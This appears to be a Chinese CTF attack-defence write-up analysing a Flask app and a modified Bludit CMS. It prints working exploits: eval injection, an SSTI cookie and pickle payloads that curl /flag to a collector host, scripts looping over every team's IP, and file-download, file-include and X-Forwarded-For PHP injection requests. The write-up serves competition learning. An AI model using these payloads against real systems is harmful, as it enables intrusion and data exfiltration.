很久没有打攻防赛了,致力于写出Perfect文件监控脚本我在这次比赛翻车了,服务器没有pytyon2环境,所以回来更新成了python3了,旅游队伍意外拿了个季军,总的来说赞一下这次比赛,体验还是不错的,小小总结一下决赛的Web(场上弟弟,赛后分析,不会java,漏洞也肯定没找全,欢迎师傅贴个文章学习一波)python和php题目源码下载地址:https://pan.baidu.com/s/1DdmgtN0cZpGsX_q1j-ooTQ 提取码: 1jpa
0x01 mOtrix
一道python题,这里贴下源码
from flask import Flask, request, render_template,send_from_directory, make_response
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re
app = Flask(__name__)
Jinja2 = Environment()
def set_str(type,str):
retstr = "%s'%s'"%(type,str)
print(retstr)
return eval(retstr)
def get_cookie():
check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}']
return choice(check_format)
@app.route('/')
def index():
global Archives
resp = make_response(render_template('index.html', Archives = Archives))
cookies = bytes(get_cookie(), encoding = "utf-8")
value = base64.b64encode(cookies)
resp.set_cookie("username", value=value)
return resp
@app.route('/Archive/<int:id>')
def Archive(id):
global Archives
if id>len(Archives):
return render_template('message.html', msg='文章ID不存在!', status='失败')
return render_template('Archive.html',Archive = Archives[id])
@app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
try:
info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info)
username = info["name"]
except Exception as e:
print(e)
username = "Guest"
if len(msg)>27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status='%s,留言成功'%username)
@app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)
@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status='向量点积')
@app.route('/robots.txt',methods=['GET'])
def texts():
return send_from_directory('/', 'flag', as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0',port='5000',debug=True)
#我应该没在这上面动过
这题的洞比较多也很明显,开场就打飞了,在这上面翻车的,也在这上面薅了不少分......
1.内置后门
@app.route('/robots.txt',methods=['GET'])
def texts():
return send_from_directory('/', 'flag', as_attachment=True)
直接读flag文件到robots.txt文件了,所以直接访问/robots.txt就拿到flag了。
2.代码拼接
def set_str(type,str):
retstr = "%s'%s'"%(type,str)
print(retstr)
return eval(retstr)
set_str在/message处进行了调用,其中变量str取值msg,只进行了简单的处理
if len(msg)>27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
所以可以任意拼接代码,给msg赋值为
'+open('/flag').read()+'
触发eval,直接read读取flag
3.SSTI
@app.route('/hello',methods=['GET', 'POST'])
def hello():
username = request.cookies.get('username')
username = str(base64.b64decode(username), encoding = "utf-8")
data = Jinja2.from_string("Hello , " + username + '!').render()
is_value = False
return render_template('hello.html', msg=data,is_value=is_value)
数据接口为cookie中的username,取值后进行了一次base64解码,通过Jinja2.from_string('****').render()来触发SSTI,不会的阔以参考:https://www.exploit-db.com/exploits/46386,我们在打的时候没回显,所以用的是反弹flag的方式,弹到本地然后再交,贴下payload
while True:
for i in range(3,21):
try:
#payload = "system('cat /flag');"
Url ="http://10.0.%s.4:5000/hello"% i
cookie = {'username':'e3sgKCkuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzkzXS5fX2luaXRfXy5fX2dsb2JhbHNfX1sic3lzIl0ubW9kdWxlc1sib3MiXS5zeXN0ZW0oJ2N1cmwgImh0dHA6Ly8xMC4xMC4yLjIwNzozMDAxL2ZsYWciIC1kICIkKGNhdCAvZj8/PykiJykgfX0='}
#print Url
IP = '10.0.%s.4'% i
print 'Target:' + IP
result=requests.post(url=Url,cookies = cookie,timeout=3)
'''flag=result.text
mat = re.compile(".*([0-9a-zA-Z]{20}).*")
flag = mat.findall(flag)[0]
print flag
submit_token(flag)'''
#submit_cookie(IP,flag)
except:
sleep(0.1)
sleep(200)
本地起个服务接收并提交flag就行了
4.反序列化
@app.route('/message',methods=['POST','GET'])
def message():
if request.method == 'GET':
return render_template('message.html')
else:
type = request.form['type'][:1]
msg = request.form['msg']
try:
info = base64.b64decode(request.cookies.get('user'))
info = pickle.loads(info)
username = info["name"]
except Exception as e:
print(e)
username = "Guest"
if len(msg)>27:
return render_template('message.html', msg='留言太长了!', status='留言失败')
msg = msg.replace(' ','')
msg = msg.replace('_', '')
retstr = set_str(type,msg)
return render_template('message.html',msg=retstr,status='%s,留言成功'%username)
一个pickle的反序列化,没啥东西,直接贴下payload
import requests
import pickle
import os
import base64
import time
class exp(object):
def __reduce__(self):
s = """curl -F token=mEs8j1Dl -F flag=$(cat /flag) http://10.10.0.2/api/flag/submit"""
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
post_data = {'msg':'','type':''}
cookie = {'user',base64.b64encode(s).decode()}
if __name__ == '__main__':
for i in range(1,21):
url = http://10.0.%s.4:5000/message"% i
try:
response = requests.post(url = url, cookies = cookie,data = post_data)
except:
time.sleep(0.1)
反序列化第二个点是numpy(我看的时候看版本挺新的,由于其触发主要还是pickle,所以这个点还是能够触发反序列化)
@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
if request.method == 'GET':
return render_template('getvdot.html')
else:
matrix1 = base64.b64decode(request.form['matrix1'])
matrix2 = base64.b64decode(request.form['matrix2'])
try:
matrix1 = numpy.loads(matrix1)
matrix2 = numpy.loads(matrix2)
except Exception as e:
print(e)
result = numpy.vdot(matrix1,matrix2)
print(result)
return render_template('getvdot.html',msg=result,status='向量点积')
import numpy
import pickle
class genpoc(object):
def __reduce__(self):
import os
s = """ls"""
return os.system, (s,)
e = genpoc()
flag=0
if flag:
poc = pickle.dumps(e)
print(poc)
else:
with open('1.pkl', 'wb') as f:
pickle.dump(e, f)
numpy.load('1.pkl');
把生成的1.pkl读出来直接赋值给matrix1,matrix2打就行了(感谢f1sh大师傅的指导),本地没环境,就不贴图了~
0x02 OZero
这里先贴下场上的时候z3r0yu师傅对比后的分析日志,源码下载地址:https://github.com/bludit/bludit/releases
被修改的几个点
1. bl-kernel/site.class.php
'dribbble'=> '',
'customFields'=> '{}'
2. bl-kernel/pagex.class.php
// Returns the value from the field, false if the fields doesn't exists
// If you set the $option as TRUE, the function returns an array with all the values of the field
public function custom($field, $options=false)
{
if (isset($this->vars['custom'][$field])) {
if ($options) {
return $this->vars['custom'][$field];
}
return $this->vars['custom'][$field]['value'];
}
return false;
}
3. bl-kernel/pages.class.php
elseif ($field=='custom') {
if (isset($args['custom'])) {
global $site;
$customFields = $site->customFields();
foreach ($args['custom'] as $customField=>$customValue) {
$html = Sanitize::html($customValue);
// Store the custom field as defined type
settype($html, $customFields[$customField]['type']);
$row['custom'][$customField]['value'] = $html;
}
unset($args['custom']);
continue;
}
} elseif ($field=='custom') {
if (isset($args['custom'])) {
global $site;
$customFields = $site->customFields();
foreach ($args['custom'] as $customField=>$customValue) {
$html = Sanitize::html($customValue);
// Store the custom field as defined type
settype($html, $customFields[$customField]['type']);
$row['custom'][$customField]['value'] = $html;
}
unset($args['custom']);
continue;
}
// Insert custom fields to all the pages in the database
// The structure for the custom fields need to be a valid JSON format
// The custom fields are incremental, this means the custom fields are never deleted
// The pages only store the value of the custom field, the structure of the custom fields are in the database site.php
public function setCustomFields($fields)
{
$customFields = json_decode($fields, true);
if (json_last_error() != JSON_ERROR_NONE) {
return false;
}
foreach ($this->db as $pageKey=>$pageFields) {
foreach ($customFields as $customField=>$customValues) {
if (!isset($pageFields['custom'][$customField])) {
$defaultValue = '';
if (isset($customValues['default'])) {
$defaultValue = $customValues['default'];
}
$this->db[$pageKey]['custom'][$customField]['value'] = $defaultValue;
}
}
}
return $this->save();
}
4. bl-kernel/helpers/tcp.class.php
file_put_contents可能存在任意写
public static function download($url, $destination)
{
$data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
return file_put_contents($destination, $data);
}
疑似一个反序列化之后的任意文件写
public function __destruct(){
if(isset($this->filepath) && isset($this->error_log)){
file_put_contents(PATH_UPLOADS_PROFILES.$this->filepath,$this->error_log);
}
}
5. bl-kernel/functions.php
疑似可以触发上述的反序列化
// Check media
$music = $_GET['path'];
if(isset($music)){
if(!Sanitize::pathFile($music)){
$filename = basename($music);
TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
}
else{
Log::set(__METHOD__.LOG_SEP.'Media request in '.date('Y-m-d'), LOG_TYPE_INFO);
}
}
比原代码多了对json的处理
if (isset($args['customFields'])) {
// Custom fields need to be JSON format valid, also the empty JSON need to be "{}"
json_decode($args['customFields']);
if (json_last_error() != JSON_ERROR_NONE) {
return false;
}
$pages->setCustomFields($args['customFields']);
}
如果可以移动并重命名,说不定就可以利用和这个写shell
// Move the image to a proper place and rename
$image = $imageDir.$nextFilename;
Filesystem::mv($file, $image);
chmod($image, 0644);
6. tokenCSRF 被删除了,所以不需要兼顾token
7. bl-kernel/boot/rules/60.router.php
此处的include获取可以配合errorlog来getshell
else{
$pageKey = explode("/", $pageKey);
foreach($pageKey as $key){
if(constant($key))
$plugin .=constant($key);
else
$plugin .="/".$key;
}
}
$plugin = str_replace("..","/",$plugin);
if(file_exists($plugin)){
$plugin = addslashes($plugin);
include $plugin;
}
}
8. bl-kernel/boot/init.php 此处的new TCP跟上面的反序列化有点暗示
define('DEBUG_MODE', TRUE);
$https = new TCP();
9. bl-kernel/admin/views/settings.php
<?php $L->p('Custom fields') ?>
10. bl-kernel/admin/views/new-content.php
<?php if (!empty($site->customFields())): ?>
<a class="nav-link" id="nav-custom-tab" data-toggle="tab" href="#nav-custom" role="tab" aria-controls="custom"><?php $L->p('Custom') ?></a>
<?php endif ?>
<?php if (!empty($site->customFields())): ?>
<div id="nav-custom" class="tab-pane fade" role="tabpanel" aria-labelledby="custom-tab">
<?php
$customFields = $site->customFields();
foreach($customFields as $field=>$options) {
if ($options['type']=="string") {
echo Bootstrap::formInputTextBlock(array(
'name'=>'custom['.$field.']',
'label'=>(isset($options['label'])?$options['label']:''),
'value'=>(isset($options['default'])?$options['default']:''),
'tip'=>(isset($options['tip'])?$options['tip']:''),
'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:'')
));
} elseif ($options['type']=="bool") {
echo Bootstrap::formCheckbox(array(
'name'=>'custom['.$field.']',
'label'=>(isset($options['label'])?$options['label']:''),
'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:''),
'checked'=>(isset($options['checked'])?true:false),
'labelForCheckbox'=>(isset($options['tip'])?$options['tip']:'')
));
}
}
?>
</div>
<?php endif ?>
这里分析三个漏洞(反序列化用文件操作应该是可以触发的),师傅们要是分析了其他的求贴一波文章。
1.任意文件下载
经过对比分析的,可以看到tcp.class.php文件中的download方法存在任意写的问题,即向某个url发送GET请求,将返回数据写入$destination变量值命令的文件中。
#bl-kernel/helpers/tcp.class.php
public static function download($url, $destination)
{
$data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
return file_put_contents($destination, $data);
}
该方法在bl-kernel/function.php中进行了调用
elseif ($for=='category') {
$numberOfItems = $site->itemsPerPage();
// Check media
$music = $_GET['path'];
if(isset($music)){
if(!Sanitize::pathFile($music)){
$filename = basename($music);
TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
}
else{
Log::set(__METHOD__.LOG_SEP.'Media request in '.date('Y-m-d'), LOG_TYPE_INFO);
}
}
$list = $categories->getList($categoryKey, $pageNumber, $numberOfItems);
}
也就是说进入了category就可以调用了TCP类中的download方法,从而可知,我们可以下载文件到本地,并会重命名为文件名的MD5值为新文件名,并且为avi格式文件,所以我们可以利用file协议来下载本地文件,即payload为
category/music?path=file:///flag
(这个点一开始我们没审出来,因为上了个文件监控,发现突然生成了一个flag文件,然后直接脚本跑全场直接读Archer大佬们生成的flag文件,就这样开始起飞了,23333)

2.任意文件包含
同样在对比分析的日志里
7. bl-kernel/boot/rules/60.router.php
此处的include获取可以配合errorlog来getshell
if ($url->whereAmI()=='page' && !$url->notFound()) {
$pageKey = $url->slug();
if (Text::endsWith($pageKey, '/')) {
$pageKey = rtrim($pageKey, '/');
Redirect::url(DOMAIN_PAGES.$pageKey);
}
else{
$pageKey = explode("/", $pageKey);
foreach($pageKey as $key){
if(constant($key))
$plugin .=constant($key);
else
$plugin .="/".$key;
}
}
$plugin = str_replace("..","/",$plugin);
if(file_exists($plugin)){
$plugin = addslashes($plugin);
include $plugin;
}
}
errorlog的点没有触发成功,不过这个倒是可以配合任意文件下载来Getshell,只要下载一个木马文件,然后包含就成了,因为前一个洞打得早,所以基本都修了,简单分析一下这个点。
跟进分析的话可以看出首先将url的path赋值给了变量$pageKey ,判断是否正常以'/'结尾,我们直接看非'/'结尾的,将path用'/'分割,用constant函数来判断是否是定义的常量,是便将常量值拼接,不是便重新恢复回path,最关键的是
$plugin = str_replace("..","/",$plugin);
if(file_exists($plugin)){
$plugin = addslashes($plugin);
include $plugin;
进行..替换后,如果path表示的文件存在,addslashes()处理后直接进行文件包含,也就是说如果我url上带的是一个真实路径,就会直接文件包含了,这太真实了(在场上没精力分析- -..)所以payload
http://x.x.x.x:xxx/flag
也可以结合前面进行Getshell
3.代码注入
首先贴一张赛后收到的图片

看到这个我都懵了,我下源码就扫了一遍,并没有内置的后门,所以肯定是有师傅调通了调用链,把代码给写进去了,tql(近期满课,木得时间看这些东西,吼了陌小生师傅分析了一波,这里就直接借鉴他的来写了),文件路径:bl-content/databases/security.php,由于文件路由,并不能直接访问这个文件,这个肯定是在调用过程中写入的,触发的话就阔以用的任意文件包含来触发RCE,我们先来找一波调用链,我比较喜欢用全局搜索来跟代码(所以我这么菜),全局找下blackList

跟到security.class.php中有个addToBlacklist方法,简单明了,用来加黑名单的
// Add or update the current client IP on the blacklist
public function addToBlacklist()
{
$ip = $this->getUserIp();
$currentTime = time();
$numberFailures = 1;
if (isset($this->db['blackList'][$ip])) {
$userBlack = $this->db['blackList'][$ip];
$lastFailure = $userBlack['lastFailure'];
// Check if the IP is expired, then renew the number of failures
if($currentTime <= $lastFailure + ($this->db['minutesBlocked']*60)) {
$numberFailures = $userBlack['numberFailures'];
$numberFailures = $numberFailures + 1;
}
}
$this->db['blackList'][$ip] = array('lastFailure'=>$currentTime, 'numberFailures'=>$numberFailures);
Log::set(__METHOD__.LOG_SEP.'Blacklist, IP:'.$ip.', Number of failures:'.$numberFailures);
return $this->save();
}
......
public function getUserIp()
{
if (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} else {
$ip = getenv('REMOTE_ADDR');
}
return $ip;
}
看下代码就很清楚了,把登录失败的用户的ip加到黑名单里,ip可以用XFF来构造,所以变量$ip是我们可控的了,也就是如果某个ip触发了黑名单规则,就会被记录下来,传入$this->db,调用save函数,跟进看下
#\bl-kernel\abstract\dbjson.class.php
public function save()
{
$data = '';
if ($this->firstLine) {
$data = "<?php defined('Zero') or die('Zero CMS.'); ?>".PHP_EOL;
}
// Serialize database
$data .= $this->serialize($this->db);
// Backup the new database.
$this->dbBackup = $this->db;
// LOCK_EX flag to prevent anyone else writing to the file at the same time.
if (file_put_contents($this->file, $data, LOCK_EX)) {
return true;
} else {
Log::set(__METHOD__.LOG_SEP.'Error occurred when trying to save the database file.', LOG_TYPE_ERROR);
return false;
}
}
将this->db的数据拼接到了变量$data中,然后直接进行了file_put_contents操作,而在init.php中有申明了
define('DB_SECURITY', PATH_DATABASES.'security.php');
DB_SECURITY为传入构造函数的参数,也就是file,即写操作时将$data写入到了security.php中,所以也就有了开场图的东西。发个请求包
POST /admin/ HTTP/1.1
Host: 192.168.211.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Referer: http://192.168.211.128/admin/
X-Forwarded-For: <?php phpinfo(); ?> #
Cookie: Zero-KEY=uihdv2ju8k4pfd6kl79fqpg6j3
Connection: close
Upgrade-Insecure-Requests: 1
tokenCSRF=92355c8ea77e31cc1fe5c1d7882d13dad37e9866&username=asd&password=asd&save=

在结合一下的文件包含洞

0x03 sec-login
本菜不会java,这题听说是反序列化,就不写了
网友评论